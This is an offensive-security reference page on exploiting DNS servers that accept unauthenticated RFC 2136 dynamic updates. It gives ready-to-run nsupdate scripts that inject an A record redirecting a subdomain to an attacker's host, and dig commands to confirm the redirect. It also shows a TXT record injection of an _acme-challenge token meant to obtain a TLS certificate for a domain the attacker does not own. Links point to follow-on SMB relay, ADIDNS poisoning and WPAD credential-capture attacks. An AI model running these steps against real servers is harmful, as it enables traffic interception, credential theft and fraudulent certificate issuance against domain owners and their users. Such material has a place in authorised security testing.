# Insecure DNS Dynamic Updates (RFC 2136)

- **URL:** https://hackindex.io/services/dns/exploitation/insecure-dynamic-updates
- **Path:** DNS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/dns/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-05-15

DNS servers configured to allow unauthenticated dynamic updates (RFC 2136) allow external attackers to modify zone files. This enables traffic interception, phishing, and circumvention of domain validation checks.

- **A record injection** route traffic for a specific subdomain to your attacker machine using nsupdate.
- **TXT record injection** claim domain ownership for certificate authorities and external services by injecting validation tokens.
- **Verification with dig** confirm injected records propagated and resolve to the expected IP before proceeding.
- **Traffic interception** pair injected records with a web server or SMB relay listener to capture misdirected connections.

## Injecting an A Record

Use `nsupdate` to push a new A record into the target zone. This routes traffic destined for a specific subdomain directly to your attacking machine. Create a text file containing the update instructions and pass it to the tool.

```bash
cat <<EOF > update.txt
server $TARGET_IP
zone $DOMAIN
update add compromised.$DOMAIN 3600 A $LHOST
show
send
EOF
```

```bash
nsupdate update.txt
```

If the server accepts the update, the command will return silently or output the outbound packet details without an error code like `REFUSED` or `SERVFAIL`.

## Verifying the Injected Record

Query the DNS server directly to confirm the record propagated and resolves to your listener IP.

```bash
dig @$TARGET_IP compromised.$DOMAIN A +short
# 192.168.1.50
```

With the A record established, you can stand up a web server or an SMB relay listener on `$LHOST` to capture traffic directed to `compromised.$DOMAIN`.

## Injecting a TXT Record for Domain Validation

Many Certificate Authorities and third-party services rely on DNS TXT records to verify domain ownership. Injecting a TXT record allows you to claim administrative control over the domain for external services.

```bash
cat <<EOF > txt_update.txt
server $TARGET_IP
zone $DOMAIN
update add _acme-challenge.$DOMAIN 3600 TXT "validation_token_string"
show
send
EOF
```

```bash
nsupdate txt_update.txt
```

Verify the TXT record using `dig`. Once confirmed, proceed with the external service verification process (such as requesting a Let's Encrypt TLS certificate for the domain).

With a record injected, pair with [ADIDNS Poisoning and Hijacking](https://hackindex.io/services/dns/exploitation/adidns-poisoning-and-hijacking) for broader AD DNS control. Redirect traffic through the injected record into an SMB relay listener: see [SMB NTLM Relay](https://hackindex.io/services/smb/exploitation/ntlm-relay). For capturing NTLM hashes via WPAD, see [WPAD DNS Credential Capture with Responder](https://hackindex.io/services/dns/exploitation/wpad-dns-credential-capture-with-responder).